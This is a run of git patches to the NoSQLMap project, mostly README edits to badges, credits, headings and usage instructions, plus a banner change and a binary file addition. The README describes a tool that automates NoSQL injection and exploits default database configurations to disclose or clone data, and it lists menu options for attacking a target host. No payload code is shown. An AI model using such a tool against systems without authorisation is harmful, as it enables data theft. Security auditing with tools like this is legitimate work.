+![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) + ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. @@ -34,6 +37,11 @@ python setup.py install # Usage +## NoSQLMap MongoDB Management Attack Demo. + +NoSQLMap MongoDB Management Attack Demo + +## Usage Instructions -Start with ``` @@ -65,11 +73,4 @@ Explanation of options: x. Back to main menu-Use this once the options are set to start your attacks. ``` -Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to nosqlmap@gmail.com or find me on Twitter [@tcstoolHax0r](https://twitter.com/tcstoolHax0r) if you have any questions or suggestions. - -Video -===== - -NoSQLMap MongoDB Management Attack Demo. - -NoSQLMap MongoDB Management Attack Demo +Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. From 103648589b7cfee0991b9f1427d0072799f5cc82 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:21:17 +1000 Subject: [PATCH 151/207] Update README.md --- README.md | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index a7a527c..eb57138 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.7 - -# Introduction -NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. +NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) @@ -13,7 +10,7 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## Credits -NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). +Originally authored by [tcsstool](https://twitter.com/tcstoolHax0r) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. From 7f4154f0df624f8d8e0746540cea322116eb2d74 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:22:22 +1000 Subject: [PATCH 152/207] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index eb57138..d12eb58 100644 --- a/README.md +++ b/README.md @@ -6,11 +6,12 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) +## About / Credits +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). + ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. -## Credits -Originally authored by [tcsstool](https://twitter.com/tcstoolHax0r) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. From 6badd8db3d000b8136294bd8f93081ccc59a5c81 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:23:23 +1000 Subject: [PATCH 153/207] Update README.md --- README.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index d12eb58..eb15fa4 100644 --- a/README.md +++ b/README.md @@ -6,9 +6,10 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) -## About / Credits -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). +# About / Credits +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). +# Summary ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. @@ -16,7 +17,7 @@ A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. -# Requirements +## Requirements On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: @@ -28,18 +29,18 @@ Varies based on features used: There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. -# Setup +## Setup ``` python setup.py install ``` -# Usage +## Usage -## NoSQLMap MongoDB Management Attack Demo. +### NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo -## Usage Instructions +### Usage Instructions -Start with ``` From cd1683758fbac9f2724c55d42f94ac4f02628368 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:24:44 +1000 Subject: [PATCH 154/207] Update README.md --- README.md | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index eb15fa4..6f5314e 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,10 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. +# NoSQLMap MongoDB Management Attack Demo. + +NoSQLMap MongoDB Management Attack Demo + # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) @@ -13,7 +17,6 @@ Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now mai ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. - ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. @@ -34,17 +37,10 @@ There are some various other libraries required that a normal Python installatio python setup.py install ``` -## Usage - -### NoSQLMap MongoDB Management Attack Demo. - -NoSQLMap MongoDB Management Attack Demo - -### Usage Instructions --Start with - +## Usage Instructions +Start with ``` -NoSQLMap +python NoSQLMap ``` NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: @@ -57,7 +53,6 @@ NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap x-Exit ``` - Explanation of options: ``` 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. From b722121a8f0544a746c5c29a1031e50b881fcf7e Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:25:02 +1000 Subject: [PATCH 155/207] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 6f5314e..607eafe 100644 --- a/README.md +++ b/README.md @@ -3,14 +3,14 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. -# NoSQLMap MongoDB Management Attack Demo. +## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo -# Screenshots +## Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) -# About / Credits +## About / Credits Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). # Summary From 9b88315a44de330566521a9449492825e725b4bf Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:25:55 +1000 Subject: [PATCH 156/207] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 607eafe..fda6aef 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,8 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). + ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo @@ -10,8 +12,7 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate ## Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) -## About / Credits -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). + # Summary ## What is NoSQL? From 564d31762b2d2f56d5acaa78566b983ec87c1a0e Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:28:58 +1000 Subject: [PATCH 157/207] Update README.md --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index fda6aef..488852c 100644 --- a/README.md +++ b/README.md @@ -12,14 +12,12 @@ Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now mai ## Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) - - # Summary ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## DBMS Support -Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. +Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases. ## Requirements On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. From 1840b669fd99e23938e6d5572511614d7edaa809 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:36:17 +1000 Subject: [PATCH 158/207] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index 488852c..719c61a 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,9 @@ NoSQLMap ======== - NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). - +[Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo From f353e10de7467e37ab4625442b00b4cfaf092822 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:36:53 +1000 Subject: [PATCH 159/207] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 719c61a..ba9d8b9 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,8 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). -[Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo From 0d4073fbf857e2ddd8276ef5b53978c4c2b250a6 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:38:12 +1000 Subject: [PATCH 160/207] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ba9d8b9..bd931b5 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,12 @@ NoSQLMap ======== +[![Python 2.6|2.7(https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + ## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo From b97671bdf215d269f0c095182d2ef350156434ac Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:38:27 +1000 Subject: [PATCH 161/207] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index bd931b5..f53f6a6 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,6 @@ NoSQLMap ======== -[![Python 2.6|2.7(https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) - +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). From ce68212e90b2ae6d3f4a866d6458303c3ad90291 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:40:15 +1000 Subject: [PATCH 162/207] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index f53f6a6..5db974f 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,9 @@ NoSQLMap ======== -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) +[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) +[![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) + NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). From 53789fd78f1d8ebea5d2dce0253f25540cc8a678 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 13:54:13 +1000 Subject: [PATCH 163/207] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5db974f..c3c5174 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) -[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) +[![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. From 61574751c333e4782a62d0e610f8f427624accc0 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 15:41:46 +1000 Subject: [PATCH 164/207] Minimalising banner --- nosqlmap.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 510141f..1885ab8 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -55,16 +55,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') - print "====================================================" - print " _ _ _____ _____ _ ___ ___ " - print "| \ | | / ___|| _ | | | \/ | " - print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ " - print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ " - print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" - print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" - print "====================================================" - print "NoSQLMap-v0.7" - print "codingo@protonmail.com" +  print " _ _ ___ ___ _ __ __           " +  print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " +  print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \" +  print "|_|\_\___/___/\__\_\____|_| |_\__,_| .__/" +  print " v0.7 codingo@protonmail.com      |_|   " print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" From 43e44d02c02ad1049dbf8fafc3355e924192d4a2 Mon Sep 17 00:00:00 2001 From: Michael Skelton Date: Thu, 14 Sep 2017 14:59:50 +1000 Subject: [PATCH 165/207] Update .gitignore --- .gitignore | 1 + .vs/slnx.sqlite | Bin 0 -> 73728 bytes 2 files changed, 1 insertion(+) create mode 100644 .vs/slnx.sqlite diff --git a/.gitignore b/.gitignore index 5f6726b..445bc6e 100644 --- a/.gitignore +++ b/.gitignore @@ -222,3 +222,4 @@ pip-log.txt *.iml *.pyproj *.sln +/.vs/ProjectSettings.json diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite new file mode 100644 index 0000000000000000000000000000000000000000..60f908661cb579829481c1dd9fddc6ccbfd91b9f GIT binary patch literal 73728 zcmeHQ4Qw38b-v~OA9*|c5qXwri7QdEbQYJo|DU)HLLHCt#nh4Fk&;!FVfSa2Jcqoa z?~bwsq(EiWPMx4h10)SvqbX9fbqX|Tfiy)M1WggxNP;8<(gbi(w@nZyMGCl0+8_u5 zw`kwY{@m{JD3OjO*vTBg+1+_>-n{wdy_tQpyTjVW`FaNnTC=q!b%eBM(8F<_cL;*V z;~9a!VfZtD2u^(F1spls`Cg|Z9`S!4_Y-FH8sQm2uMJ%5Z$(}Ry&Ad{e9j;8wY*>R zyyAIzF9AP8et-|q(oe5PgRyj)d*4n+k~i^OeG}KNw>x-i32V588%nP%zO+=HSuP99 zGw0^Z!qpyyR-=*A(TD)QUet1y!t_Y8muLv_M%L|n% zRB@qPT^6bf@V7EQKP4FQ7F*40brrYl#Z4w*sXSL+DpyP8nsC)*)N5NkZDl~oxGsz+ zxKI^l%kyPuPHCoAnwc$685PaqZQM|$Mu)WTwzYLZumu8kq z56>)}PGz%k+QoYmC^Z`${NzDOEMMQoUE3no6OF`g93KeAE{oia3-yMIpR8TqlAD{e zSgSYcoqDserk^&}2}%`pt{CIU5(!u=?}(A zpk%4Hl2vI7_f~D-HmY??-cljLw(9DL_|t=tU`!ObXKQqja5vk1-R~S8++^F>;3nBE zdLKiA;i#sg+e_b(5kUvXWw^%p|O@jC&q%2Qx=k*fqFW)JwS4 zhEZVGO!E}y560qg?&d?(3Qb|Uc;{8XX@O3n&HhY+-Cz!2cV=9WC0rxDo9{SCa zR$KQ|7>2f+*L~Cz-+Qv_iS(9SN5Sm~ekTrYvJDA0>2)H~YZAL16nhPZ-6@IO;v2JD zrA;(l70y*`xBmuhUTSw1Z!k9OrIK=(m5k)2TPsZR2`P&+!?3Zr+FP;(c8mG#Bx717_MOC>g);Fc*xCk8@A0 zQ<;VW#-Yz4>Sh9kiz?LH)rsinl$6F;N#s(XP9~QY zGxyg0HKU4IIh#rp zN%_2*6*D-Q5DVEtN=!-_r2qgFRGbxaMM+8&lX+3j%d!DM9;XbQl!A-_kDOG<=d(pk z)bg1eNGbsK`9eV~=CU$qnMwCY4u3P&XsyGbt^FQ>knYdLyqD zm0~)R7S&7v%41-XHCzz2Tp^K9W>iH@W3iCPrt?{VSj{CfP@R?qNyW4X>ZCQCOJfP} zC}_oeCYzVVY%&Lu3JR1}k0n~X(Bvq;D6ey7eoHO}!T9mR%Ld>d3H6!Pe zg_N2ACY(s-6-CTxsk{zBF@YUckQa-xRw&9vMZ`rF`Yw?NNvU*BOyj(q$``b366%)H zMd-?6R?HSvfB>vjgnmkh8qQ}hPEj)u<%E*Sq@aHQJ&jZ+iIS$#z5~Q1Es@AUN2PEM zI!hIEIB#@|l+G264wlnWGJ!=n91KreutmQ>T)-r``2Kqt9U~~%LPynkJm1IiQ(peSbVo_AnN(Sek;owq6bp-{i z!%>}DOeIs$3b6>C2i1W%DW6S?DJ@&b$(pPs@_A8}3yCzK0j(qUq=FsF1qtfR=L(Xf zwObj~CpOHP1_;EGx{n}C5Sn*=6|r8EY_yE@6>d`_J-1w1NQ1e~Fg zjGR$m5X)r6WG<_wWJSwqxul2_2|1S{U|N!jGIX^=5>Di?l1alLCg;J;GwD2dAhbi3 ziWwz|b6A3oz&U_2lYp@XrxL&fhFr{nBNTEOHJi#Lq!gG0RtrfOq4Hunkp)RPB`Fp) z3^rcKk?u_=($EU5f|~&tcAb(1)1Hih6=N_ui7-jf85u2)#i9b{r>LrylGQW}+_H$Z zVgbuAR>)eB3_Tc(6^1PEyF?Sj)^xi?E)>!ZNn>80=PaUA9IUyKCnKfiPNS1N)#vkw=~4?z9jq?2R<>1g 